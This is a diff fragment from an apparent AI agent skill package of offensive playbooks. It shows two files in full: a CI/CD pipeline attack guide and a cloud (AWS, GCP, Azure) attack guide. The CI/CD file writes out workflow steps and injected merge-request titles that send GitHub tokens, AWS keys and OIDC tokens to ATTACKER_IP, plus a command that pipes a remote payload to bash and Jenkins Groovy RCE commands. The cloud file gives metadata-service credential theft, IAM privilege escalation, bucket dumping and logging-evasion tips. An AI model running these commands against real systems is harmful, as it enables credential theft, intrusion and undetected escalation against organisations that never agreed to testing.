  291. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  292. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  293. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  294. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  295. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  296. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  297. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  298. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  299. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  300. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  301. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  302. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  303. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  304. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  305. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  306. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  307. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  308. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  309. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  310. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  311. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  312. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  313. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  314. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  315. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  316. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  317. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  318. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  319. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  320. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  322. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  323. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  324. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  325. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  326. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  327. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  328. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  329. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
@@ -0,0 +1,283 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # CI/CD Pipeline Security Attacks
4
+
5
+ ## Overview
6
+ CI/CD pipeline attack techniques: GitHub Actions poisoning, GitLab CI injection,
7
+ Jenkins exploitation, secrets exfiltration, OIDC token theft, and dependency confusion.
8
+
9
+ ## Prerequisites
10
+ ```bash
11
+ pip install trufflehog3 gitleaks semgrep
12
+ apt-get install -y git gh
13
+ # gh CLI: gh auth login
14
+ ```
15
+
16
+ ## Phase 1: Reconnaissance
17
+
18
+ ### Repository Discovery
19
+ ```bash
20
+ # GitHub organization recon
21
+ gh api orgs/TARGET/repos --paginate \
22
+ --jq '.[].clone_url' > /workspace/output/TARGET_repos.txt
23
+
24
+ # Find CI/CD config files
25
+ for repo in $(cat /workspace/output/TARGET_repos.txt); do
26
+ git clone --depth=1 $repo /workspace/output/TARGET_repos/$(basename $repo) 2>/dev/null
27
+ done
28
+
29
+ # Find all workflow files
30
+ find /workspace/output/TARGET_repos/ \
31
+ -name "*.yml" -path "*/.github/workflows/*" \
32
+ -o -name ".gitlab-ci.yml" \
33
+ -o -name "Jenkinsfile" \
34
+ 2>/dev/null | tee /workspace/output/TARGET_cicd_files.txt
35
+ ```
36
+
37
+ ### Exposed CI/CD Interfaces
38
+ ```bash
39
+ # Jenkins discovery
40
+ nmap -p 8080,50000 TARGET -sV --script http-title \
41
+ | grep -i jenkins | tee /workspace/output/TARGET_jenkins_scan.txt
42
+
43
+ # GitLab instance
44
+ curl -s https://TARGET/api/v4/version 2>/dev/null \
45
+ | tee /workspace/output/TARGET_gitlab_version.txt
46
+
47
+ # GitHub Actions API
48
+ gh api /repos/TARGET_ORG/TARGET_REPO/actions/workflows
49
+ ```
50
+
51
+ ## Phase 2: GitHub Actions Poisoning (pull_request_target)
52
+
53
+ ### Identify Vulnerable Workflows
54
+ ```bash
55
+ # Find pull_request_target triggers with code checkout
56
+ grep -r "pull_request_target" /workspace/output/TARGET_repos/ \
57
+ --include="*.yml" -l | tee /workspace/output/TARGET_prt_workflows.txt
58
+
59
+ # Check for dangerous patterns: checkout of PR HEAD + secret access
60
+ grep -A20 "pull_request_target" \
61
+ $(cat /workspace/output/TARGET_prt_workflows.txt) \
62
+ 2>/dev/null | grep -i "checkout\|secrets\|token" \
63
+ > /workspace/output/TARGET_prt_vulns.txt
64
+ ```
65
+
66
+ ### Exploitation via Malicious PR
67
+ ```bash
68
+ # Fork the target repo, modify workflow in PR
69
+ # Malicious step to exfiltrate secrets:
70
+ cat > /tmp/malicious_step.txt <<'YAML'
71
+ - name: Exfiltrate
72
+ run: |
73
+ curl -X POST https://ATTACKER_IP/collect \
74
+ -d "token=${{ secrets.GITHUB_TOKEN }}" \
75
+ -d "aws_key=${{ secrets.AWS_ACCESS_KEY_ID }}"
76
+ YAML
77
+
78
+ # Or use environment variable dump
79
+ # run: env | base64 | curl -X POST https://ATTACKER_IP/ -d @-
80
+ ```
81
+
82
+ ## Phase 3: GitLab CI Injection
83
+
84
+ ### Identify Injection Points
85
+ ```bash
86
+ # Check for user-controlled variables in .gitlab-ci.yml
87
+ grep -r "CI_COMMIT_MESSAGE\|CI_MERGE_REQUEST_TITLE\|CI_COMMIT_REF_NAME" \
88
+ /workspace/output/TARGET_repos/ --include=".gitlab-ci.yml" \
89
+ | tee /workspace/output/TARGET_gitlab_injection.txt
90
+
91
+ # Find eval/sh -c with variables
92
+ grep -r "eval\|sh -c\|\$CI_" \
93
+ /workspace/output/TARGET_repos/ --include=".gitlab-ci.yml" \
94
+ | tee /workspace/output/TARGET_gitlab_eval.txt
95
+ ```
96
+
97
+ ### Exploitation via Merge Request Title Injection
98
+ ```bash
99
+ # If MR title is used in shell command:
100
+ # CI script: sh -c "echo $CI_MERGE_REQUEST_TITLE"
101
+ # Malicious MR title: "; curl http://ATTACKER_IP/$(env|base64) #"
102
+ # Or: "$(curl -s http://ATTACKER_IP/payload.sh|bash)"
103
+ ```
104
+
105
+ ## Phase 4: Jenkins Pipeline Injection
106
+
107
+ ### Jenkins Discovery & Exploitation
108
+ ```bash
109
+ # Check for anonymous access
110
+ curl -s http://TARGET:8080/api/json?pretty=true \
111
+ | tee /workspace/output/TARGET_jenkins_anon.txt
112
+
113
+ # Jenkins script console (if admin access)
114
+ curl -s http://TARGET:8080/scriptText \
115
+ -u admin:password \
116
+ --data-urlencode 'script=println("id".execute().text)' \
117
+ | tee /workspace/output/TARGET_jenkins_rce.txt
118
+
119
+ # Groovy RCE via script console
120
+ PAYLOAD='["id"].execute().text'
121
+ curl -X POST http://TARGET:8080/scriptText \
122
+ -u admin:password \
123
+ --data-urlencode "script=println($PAYLOAD)" \
124
+ 2>&1 | tee /workspace/output/TARGET_jenkins_groovy_rce.txt
125
+ ```
126
+
127
+ ### Jenkinsfile Pipeline Injection
128
+ ```bash
129
+ # Vulnerable Jenkinsfile pattern:
130
+ # sh "echo ${params.USER_INPUT}"
131
+ # Injection: "; curl http://ATTACKER_IP/ -d \$(env|base64)"
132
+
133
+ # Enumerate Jenkins jobs
134
+ curl -s http://TARGET:8080/api/json --user admin:password \
135
+ | python3 -m json.tool | grep '"name"' \
136
+ > /workspace/output/TARGET_jenkins_jobs.txt
137
+
138
+ # Download Jenkinsfile from job
139
+ curl -s http://TARGET:8080/job/<JOB_NAME>/config.xml \
140
+ --user admin:password \
141
+ > /workspace/output/TARGET_jenkinsfile.xml
142
+ ```
143
+
144
+ ## Phase 5: Secrets Exfiltration from CI Environment
145
+
146
+ ### TruffleHog — Git History Scanning
147
+ ```bash
148
+ # Scan all commits in repo
149
+ trufflehog git file:///workspace/output/TARGET_repos/TARGET_REPO \
150
+ --json > /workspace/output/TARGET_trufflehog.json 2>&1
151
+
152
+ # Scan remote GitHub repo
153
+ trufflehog github --org=TARGET_ORG \
154
+ --token=$GITHUB_TOKEN \
155
+ --json > /workspace/output/TARGET_trufflehog_org.json 2>&1
156
+
157
+ # Scan all branches
158
+ trufflehog git https://github.com/TARGET_ORG/TARGET_REPO \
159
+ --branch=all --json >> /workspace/output/TARGET_trufflehog.json
160
+ ```
161
+
162
+ ### Gitleaks — Pattern-Based Secret Detection
163
+ ```bash
164
+ # Scan local repo
165
+ gitleaks detect --source /workspace/output/TARGET_repos/TARGET_REPO \
166
+ --report-path /workspace/output/TARGET_gitleaks.json \
167
+ --report-format json -v 2>&1
168
+
169
+ # Scan GitHub org
170
+ gitleaks detect --source https://github.com/TARGET_ORG \
171
+ --report-path /workspace/output/TARGET_gitleaks_org.json \
172
+ --report-format json 2>&1
173
+ ```
174
+
175
+ ### Semgrep — SAST for CI/CD Issues
176
+ ```bash
177
+ semgrep scan --config p/ci \
178
+ /workspace/output/TARGET_repos/ \
179
+ --json -o /workspace/output/TARGET_semgrep.json 2>&1
180
+
181
+ # Check for hardcoded secrets in code
182
+ semgrep scan --config p/secrets \
183
+ /workspace/output/TARGET_repos/ \
184
+ --json >> /workspace/output/TARGET_semgrep.json
185
+ ```
186
+
187
+ ## Phase 6: OIDC Token Theft
188
+
189
+ ### GitHub Actions OIDC
190
+ ```bash
191
+ # OIDC token request from within malicious workflow:
192
+ cat > /tmp/oidc_steal.yml <<'YAML'
193
+ - name: Get OIDC Token
194
+ run: |
195
+ TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
196
+ "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" \
197
+ | jq -r '.value')
198
+ curl -X POST https://ATTACKER_IP/oidc -d "token=$TOKEN"
199
+ YAML
200
+
201
+ # Decode stolen OIDC JWT
202
+ TOKEN="<stolen_token>"
203
+ echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool \
204
+ > /workspace/output/TARGET_oidc_claims.txt
205
+ ```
206
+
207
+ ## Phase 7: Dependency Confusion
208
+
209
+ ```bash
210
+ # Check package.json / requirements.txt for internal packages
211
+ grep -r "\"@TARGET\|TARGET-internal\|TARGET-private" \
212
+ /workspace/output/TARGET_repos/ \
213
+ --include="package.json" \
214
+ | tee /workspace/output/TARGET_internal_packages.txt
215
+
216
+ # Check pip requirements for internal indices
217
+ grep -r "index-url\|extra-index-url" \
218
+ /workspace/output/TARGET_repos/ \
219
+ --include="*.txt" --include="*.cfg" \
220
+ | tee /workspace/output/TARGET_pypi_internal.txt
221
+
222
+ # Register malicious package on public PyPI/npm with higher version
223
+ # (conceptual — creates confusion when CI pulls from public registry first)
224
+ # npm: Publish @TARGET/package-name with version 9999.0.0
225
+ # PyPI: Publish target-internal-package==9999.0.0 with malicious setup.py
226
+ ```
227
+
228
+ ## Phase 8: Artifact Poisoning
229
+
230
+ ```bash
231
+ # Check for unsigned artifact downloads in CI
232
+ grep -r "wget\|curl\|download\|install" \
233
+ $(cat /workspace/output/TARGET_cicd_files.txt) \
234
+ | grep -v "sha256\|checksum\|verify\|gpg" \
235
+ | tee /workspace/output/TARGET_unsigned_downloads.txt
236
+
237
+ # Find cache actions without content hash
238
+ grep -r "cache.*key" \
239
+ /workspace/output/TARGET_repos/ \
240
+ --include="*.yml" \
241
+ | tee /workspace/output/TARGET_cache_keys.txt
242
+ ```
243
+
244
+ ## Report Template
245
+
246
+ ```
247
+ Target: TARGET_ORG
248
+ CI/CD Systems: GitHub Actions / GitLab CI / Jenkins
249
+ Assessment Date: <DATE>
250
+
251
+ ## Critical Findings
252
+ - [ ] pull_request_target workflow poisoning possible
253
+ - [ ] Jenkins Script Console unauthenticated
254
+ - [ ] OIDC tokens exfiltrable from workflow
255
+ - [ ] Secrets found in git history (N secrets)
256
+ - [ ] Dependency confusion vulnerable packages
257
+
258
+ ## Secrets Discovered (TruffleHog/Gitleaks)
259
+ - AWS key: AKIA... (found in commit <SHA>)
260
+ - API token: <token> (found in <file>)
261
+
262
+ ## CI/CD Misconfiguration
263
+ - pull_request_target without head checkout restriction: <file>
264
+ - Unvalidated user input in shell: <pipeline>
265
+ - Unsigned artifact downloads: <count>
266
+
267
+ ## Recommendations
268
+ 1. Use pull_request instead of pull_request_target for untrusted code
269
+ 2. Pin Actions to full commit SHA (not tags)
270
+ 3. Restrict GITHUB_TOKEN permissions to minimum needed
271
+ 4. Implement branch protection + required reviews
272
+ 5. Rotate all leaked secrets immediately
273
+ 6. Use OIDC for cloud auth instead of long-lived credentials
274
+ 7. Enable secret scanning + push protection on all repos
275
+ ```
276
+
277
+ ## Output Files
278
+ - `/workspace/output/TARGET_trufflehog.json` — TruffleHog findings
279
+ - `/workspace/output/TARGET_gitleaks.json` — Gitleaks findings
280
+ - `/workspace/output/TARGET_semgrep.json` — SAST results
281
+ - `/workspace/output/TARGET_oidc_claims.txt` — Stolen OIDC claims
282
+
283
+ indicators: cicd, attack, github, actions, injection, gitlab, ci, injection, jenkins, pipeline, injection, pipeline, poisoning, secrets, exfiltration, dependency, confusion, oidc, token, theft, trufflehog, gitleaks, pull_request_target
@@ -0,0 +1,299 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: cloud-security
5
+ description: Cloud security assessment for AWS, GCP, and Azure covering credential abuse, IAM privilege escalation, storage misconfigs, and serverless attacks
6
+ ---
7
+
8
+ # Cloud Security Assessment
9
+
10
+ Cloud misconfigurations are the most common source of critical data breaches. The attack surface is: exposed credentials, misconfigured storage, overprivileged IAM, metadata service abuse, and serverless/container escapes.
11
+
12
+ ---
13
+
14
+ ## AWS
15
+
16
+ ### IMDS (Instance Metadata Service)
17
+
18
+ IMDSv1 (no protection — direct request):
19
+
20
+ curl http://169.254.169.254/latest/meta-data/
21
+ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
22
+ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
23
+ # Returns: AccessKeyId, SecretAccessKey, Token
24
+
25
+ IMDSv2 (token-based — requires PUT first):
26
+
27
+ TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
28
+ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
29
+ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
30
+ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/user-data
31
+
32
+ ECS Task credentials:
33
+
34
+ curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
35
+
36
+ Lambda environment:
37
+
38
+ curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
39
+ # Also check: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY in env vars
40
+
41
+ ### Configure Stolen Credentials
42
+
43
+ aws configure
44
+ # Or export directly:
45
+ export AWS_ACCESS_KEY_ID=AKIA...
46
+ export AWS_SECRET_ACCESS_KEY=...
47
+ export AWS_SESSION_TOKEN=... # for temp creds
48
+
49
+ # Verify identity
50
+ aws sts get-caller-identity
51
+
52
+ ### IAM Enumeration
53
+
54
+ # Current permissions
55
+ aws iam get-user
56
+ aws iam list-attached-user-policies --user-name <user>
57
+ aws iam list-user-policies --user-name <user>
58
+ aws iam get-user-policy --user-name <user> --policy-name <policy>
59
+
60
+ # List all roles and policies
61
+ aws iam list-roles
62
+ aws iam list-policies --scope Local
63
+ aws iam get-policy-version --policy-arn <arn> --version-id v1
64
+
65
+ # Automated: enumerate all reachable permissions
66
+ # Install: pip install enumerate-iam
67
+ python3 enumerate-iam.py --access-key <key> --secret-key <secret> --session-token <token>
68
+
69
+ # Pacu (AWS pentesting framework)
70
+ pacu
71
+ > import_keys <profile>
72
+ > run iam__enum_permissions
73
+ > run iam__privesc_scan
74
+
75
+ ### IAM Privilege Escalation
76
+
77
+ Key vectors (over 20 known paths):
78
+
79
+ # 1. iam:CreatePolicyVersion — overwrite existing policy with Admin
80
+ aws iam create-policy-version \
81
+ --policy-arn <target_policy_arn> \
82
+ --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
83
+ --set-as-default
84
+
85
+ # 2. iam:AttachUserPolicy — attach AdministratorAccess to self
86
+ aws iam attach-user-policy \
87
+ --user-name <your_user> \
88
+ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
89
+
90
+ # 3. iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
91
+ # Create Lambda with role that has more privileges, invoke it
92
+ aws lambda create-function \
93
+ --function-name privesc \
94
+ --runtime python3.9 \
95
+ --role arn:aws:iam::<account>:role/<privileged_role> \
96
+ --handler index.handler \
97
+ --zip-file fileb://lambda.zip
98
+
99
+ # 4. sts:AssumeRole — assume a more privileged role
100
+ aws sts assume-role \
101
+ --role-arn arn:aws:iam::<account>:role/<target_role> \
102
+ --role-session-name pentest
103
+
104
+ ### S3 Misconfigurations
105
+
106
+ # Check bucket ACL and policy
107
+ aws s3api get-bucket-acl --bucket <bucket-name>
108
+ aws s3api get-bucket-policy --bucket <bucket-name>
109
+
110
+ # List all buckets (if authenticated)
111
+ aws s3 ls
112
+
113
+ # Check public access
114
+ aws s3api get-public-access-block --bucket <bucket-name>
115
+
116
+ # List bucket contents anonymously
117
+ aws s3 ls s3://<bucket-name> --no-sign-request
118
+
119
+ # Download all files
120
+ aws s3 sync s3://<bucket-name> ./output/s3_dump/ --no-sign-request
121
+
122
+ # Check for sensitive files
123
+ aws s3 ls s3://<bucket> --recursive --no-sign-request | grep -iE "backup|password|secret|key|config|credentials|db"
124
+
125
+ # s3scanner — enumerate permutations
126
+ s3scanner scan --bucket-file output/subdomains.txt
127
+
128
+ ### Secrets Manager / SSM Parameter Store
129
+
130
+ aws secretsmanager list-secrets
131
+ aws secretsmanager get-secret-value --secret-id <secret-arn>
132
+
133
+ aws ssm describe-parameters
134
+ aws ssm get-parameters --names <param-name> --with-decryption
135
+ aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
136
+
137
+ ### EC2 and EBS
138
+
139
+ aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,PublicIpAddress,PrivateIpAddress,Tags]'
140
+ aws ec2 describe-snapshots --owner-ids self
141
+ aws ec2 describe-snapshots --restorable-by-user-ids all # Public snapshots from your account (bug)
142
+
143
+ # Create volume from public snapshot
144
+ aws ec2 create-volume --snapshot-id <snap-id> --availability-zone us-east-1a
145
+ aws ec2 attach-volume --volume-id <vol-id> --instance-id <your-ec2> --device /dev/xvdf
146
+ # Mount and read data
147
+
148
+ ### Lambda
149
+
150
+ aws lambda list-functions
151
+ aws lambda get-function --function-name <func> # Check DownloadLocation in response
152
+ aws lambda get-function-configuration --function-name <func> # Environment variables!
153
+ # Download source code:
154
+ curl -o /tmp/lambda.zip "$(aws lambda get-function --function-name <func> --query Code.Location --output text)"
155
+
156
+ ### CloudTrail / Evasion Awareness
157
+
158
+ # Check if CloudTrail is logging
159
+ aws cloudtrail describe-trails
160
+ aws cloudtrail get-trail-status --name <trail>
161
+
162
+ # Low-noise enumeration: prefer Read-only APIs over mutating ones
163
+ # Avoid: CreateUser, AttachPolicy, PutBucketPolicy — high noise
164
+ # Prefer: GetCallerIdentity, DescribeInstances, ListBuckets — common and expected
165
+
166
+ ---
167
+
168
+ ## GCP
169
+
170
+ ### Metadata Service
171
+
172
+ # From inside GCP instance:
173
+ curl "http://metadata.google.internal/computeMetadata/v1/" -H "Metadata-Flavor: Google"
174
+ curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
175
+ -H "Metadata-Flavor: Google"
176
+ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/" -H "Metadata-Flavor: Google"
177
+
178
+ ### GCP Enumeration
179
+
180
+ # With stolen token:
181
+ curl -H "Authorization: Bearer <token>" \
182
+ "https://www.googleapis.com/oauth2/v1/tokeninfo"
183
+
184
+ # List projects
185
+ gcloud projects list
186
+
187
+ # IAM bindings
188
+ gcloud projects get-iam-policy <project-id>
189
+ gcloud iam service-accounts list
190
+
191
+ # Service account impersonation
192
+ gcloud iam service-accounts get-iam-policy <sa-email>
193
+
194
+ ### GCS Buckets
195
+
196
+ # Check public buckets
197
+ gsutil ls gs://<bucket-name>
198
+ gsutil ls -la gs://<bucket-name>
199
+ gsutil cp gs://<bucket>/** ./output/gcs_dump/
200
+
201
+ # Bucket IAM
202
+ gsutil iam get gs://<bucket-name>
203
+
204
+ # Check allUsers / allAuthenticatedUsers permissions
205
+ curl https://storage.googleapis.com/storage/v1/b/<bucket>/iam
206
+
207
+ ### Cloud Functions / Run
208
+
209
+ gcloud functions list
210
+ gcloud functions describe <function-name> # Check env vars, source
211
+ gcloud run services list
212
+ gcloud run services describe <service>
213
+
214
+ ---
215
+
216
+ ## Azure
217
+
218
+ ### Metadata Service
219
+
220
+ # From inside Azure instance:
221
+ curl -H "Metadata: true" \
222
+ "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
223
+ curl -H "Metadata: true" \
224
+ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
225
+
226
+ ### Azure Enumeration
227
+
228
+ # With access token:
229
+ az account show
230
+ az account list
231
+ az role assignment list --all
232
+ az ad user list
233
+ az keyvault list
234
+ az storage account list
235
+ az webapp list
236
+
237
+ ### Blob Storage
238
+
239
+ # Check public containers
240
+ az storage container list --account-name <account> --auth-mode login
241
+ az storage blob list --container-name <container> --account-name <account>
242
+
243
+ # Anonymous access check
244
+ curl "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list"
245
+
246
+ ### Azure AD
247
+
248
+ # Token from MSI
249
+ curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/' \
250
+ -H "Metadata: true"
251
+
252
+ # Graph API with token
253
+ curl -H "Authorization: Bearer <token>" \
254
+ "https://graph.microsoft.com/v1.0/users"
255
+
256
+ # Check app registrations (may have secrets)
257
+ az ad app list --all
258
+
259
+ ---
260
+
261
+ ## Automated Cloud Scanning
262
+
263
+ # Scout Suite — multi-cloud audit
264
+ scout aws --profile <profile> --report-dir output/scout/
265
+ scout gcp --user-account --report-dir output/scout/
266
+
267
+ # Prowler — AWS CIS benchmark + extra checks
268
+ prowler aws -M html -o output/prowler/
269
+
270
+ # Pacu — AWS exploitation framework
271
+ pacu
272
+ > run iam__enum_permissions
273
+ > run iam__privesc_scan
274
+ > run s3__bucket_finder
275
+ > run ec2__enum
276
+
277
+ # CloudSplaining — analyze IAM policies for excessive permissions
278
+ cloudsplaining download --profile <profile>
279
+ cloudsplaining scan --input-file <account-auth>.json
280
+
281
+ # Truffledog / GitLeaks — find secrets in code/configs
282
+ trufflehog filesystem ./output/ --json
283
+
284
+ ---
285
+
286
+ ## Pro Tips
287
+
288
+ 1. IMDSv1 is the fastest cloud pivot — if SSRF is found, probe 169.254.169.254 immediately
289
+ 2. Lambda/Function environment variables are goldmines — frequently contain DB URLs, API keys
290
+ 3. S3 bucket name enumeration: target.com → target-backup, target-dev, target-staging, target-assets
291
+ 4. `sts:AssumeRole` with no condition = free lateral movement across roles
292
+ 5. Public EBS snapshots are a common misconfiguration — search with `restorable-by-user-ids all`
293
+ 6. Check CloudTrail before any write operations — know what's being logged
294
+ 7. `iam:PassRole` combined with any compute service = privilege escalation path
295
+ 8. GCP service account keys in git repos are extremely common — trufflehog every repo found
296
+
297
+ ## Summary
298
+
299
+ Cloud pentesting is 80% authorization abuse and credential chaining. Find credentials (IMDS, env vars, secrets manager, git repos), enumerate permissions, find a path to admin (IAM privesc, assume-role, PassRole+compute), and escalate. Storage misconfigs are fast wins — always enumerate buckets.